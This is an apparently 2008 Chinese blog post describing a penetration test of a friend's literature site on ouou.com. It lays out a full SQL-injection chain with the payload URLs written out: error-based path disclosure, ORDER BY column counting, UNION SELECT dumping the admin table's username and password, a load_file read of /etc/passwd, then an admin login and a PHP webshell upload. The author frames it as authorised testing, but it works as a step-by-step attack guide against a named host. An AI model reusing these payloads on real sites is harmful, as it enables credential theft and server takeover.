安全检测纵横时空文学网

    [晴 March 10, 2008 19:26 | by ]
作者:伤心的鱼[BCT]
文章首发IT168安全频道[safe.it168.com] 转载请著名

笔者日前接到朋友的邀请,要求对其管理的网站进行一次安全检测,以便查找出问题的所在及时修补漏洞。另外朋友还说网站是新架设上去的,要求细致查找漏洞。笔者在朋友的极力邀请之下开始了这次安全检测之旅。
首先打开朋友发来的网站 地址为http://xxx.ouou.com/,是ouou网站下属的一个文学小说的网站。叫做纵横时空文学站。 界面做的非常漂亮. 初步看了下为PHP+MYSQL的架构PHP版本为PHP/5.1.4-0.1. 。WEBSERVER使用的是Apache/2.0.55 基于以上几点应该大概能判断出服务器应该是使用的UNIX . 这种架构应该为典型的P+M+U的架构了 也就是PHP+MYSQL+UNIX 。 可能有读者会问了 ? 你怎么知道他的Apache跟MYSQL的版本呢? 其实这个很简单。 在WEB随便输入一个不存在的页面 看下暴错信息就OK了。 如图1

Highslide JS


看到图1我们了解了网站的大概情况 首先就来查找注射漏洞。 随便打开一个带有参数的连接 地址为
http://xzx.ouou.com/newslook.php?id=29
输入一个单引号检测, 成功返回错误信息, 并且暴出了WEB绝对路径,如图2

Highslide JS


错误信息如下:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /data/webroot/zh/newslook.php on line 264

通过错误信息得知WEB路径为/data/webroot/zh/newslook.php通过路径可以肯定服务器为UNIX 继续使用and 1=1 1=2来判断是不是真的存在注射漏洞
http://xx.ouou.com/newslook.php?id=29【/**/and/**/1=1】/**/and/**/1=1
作用与我们在ASP注射中的 and 1=1的效果是一样的,因为有些站会过滤空格,/**/是替代空格的。返回正常
继续
http://xx.ouou.com/newslook.php?id=29【/**/and/**/1=2】

返回错误, 现在可以肯定http://xx.ouou.com/newslook.php?id=29 这个地址存在注射漏洞。
既然存在漏洞,我们就来通过注射点来查找到管理员的密码从而登陆后台来取得WEBSHELL。 现在来爆一下他的有多少个字段。
使用/**/order/**/by/**/10 来判断他的字段是不是小于10
http://XX.ouou.com/newslook.php?id=29【/**/order/**/by/**/10】
如图3

Highslide JS


如图得知我们执行/**/order/**/by/**/10 页面返回错误 说明字段是小于10的 我们继续执行
http://ouou.com/newslook.php?id=29【/**/order/**/by/**/9】
http://ouou.com/newslook.php?id=29【/**/order/**/by/**/8】
http://ouou.com/newslook.php?id=29【/**/order/**/by/**/7】
http://ouou.com/newslook.php?id=29【/**/order/**/by/**/6】
http://.ouou.com/newslook.php?id=29【/**/order/**/by/**/5】
http://ouou.com/newslook.php?id=29【/**/order/**/by/**/4】

直到执行/**/order/**/by/**/4的时候页面返回正常 如图4

Highslide JS


我们看到当执行/**/order/**/by/**/4到4的时候返回正常说明存在4个字段。 因为我们在前面已经得到MYSQL的版本 所以已经不用判断就知道是支持union联合查询的、 继续猜解密码
http://xx.ouou.com/newslook.php?id=29/**/and/**/1=2/**/union/**/select/**/1,2,3,4

返回出几个数字,一会帐号密码会从显示出来 :)
我们来爆字段名,经过一段时间的猜解最终确定表为admin
http://xx.ouou.com/newslook.php?id=29/**/and/**/1=2/**/union/**/select/**/1,2,3,4/**/from/**/admin

如图5

Highslide JS


因为返回正常说明存在该表,返回错误则不存在。 经过半天的猜解解,确定列名为“pas”“us”“id”,把相应的列名对应上面的相应的数字,数字部分就会出现我们想要的的东西了。语句是这样的,上面显示的数字为2、3我们这里替换2、3为“pas”和“us”
id=29/**/and/**/1=2/**/union/**/select/**/1,pas,us,4/**/from/**/admin,这样在2、3部分就会出现帐号和密码了。
另外PHP注射如果在权限够的情况下是可以读到目标网站的的源文件,可以去读一些类似CONN的文件取得敏感信息。现在来判断下这个注射点有没有权限读文件
http://.ouou.com/newslook.php?id=29【/**/and/**/(select/**/count(*)/**/from/**/mysql.user)>0 /*】

如图6

Highslide JS


返回正常说明有权限读文件,现在可以调用load_file的函数来读文件了,还记刚才【'】爆出的绝对路径吧。直接读就可以了,不过要把路径转换成hex编码,为什么呢?因为某些字符在url会被转意比如\会被转意成/,既然试UNIX主机尝试读一下/etc/passwd 继续
http://XX.ouou.com/newslook.php?id=29【/**/and/**/1=2/**/union/**/select/**/1,2,load_file(0x2F6574632F706173737764),4】

load_file(0x2F6574632F706173737764)替换3的位置,如果可以读3的位置会出现文件内容,如图7

Highslide JS


看到了吧,可以读出来:)。【0x2F6574632F706173737764】是/etc/passwd的hex编码,接下来就是要去网站源文件然后去顶部找调用数据库的文件然后再读数据库文件找到mysql密码,这个我就不说了,因为我已经得到了 admin的密码 并且知道后台为http://XXouou.com/admin 直接登陆后台先拿个WEBSHELL再说 如图8

Highslide JS


登陆后台发现权限非常大,可以直接看到跟目录的文件,并且我们看到“重命名”“编辑”“删除”等字样。 但是这里并不可以利用,因为一编辑就会提示你输入另一个密码。 另外我发现网站后台使用了FCKeditor编辑器。并且可以成功上传一个asa的文件。但是我们知道apache 是不解吸ASP文件的。所以就没有办法,只能寻找可以上传PHP的地方。 记的刚登陆后台后台的时候看到跟目录那里有个上传目录,尝试上传一个PHP发现提示更新成功,马上访问发现存在那个PHP文件。如图9

Highslide JS


图10

Highslide JS


至此我们已经成功的拿到了WEBSHELL 并且也找到了MYSQL密码。 发现WEBSHELL的权限非常大,至于提权就不需要了。马上通知朋友修补漏洞咯。
Technology | Comments(0) | Trackbacks(0) | Reads(5868)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive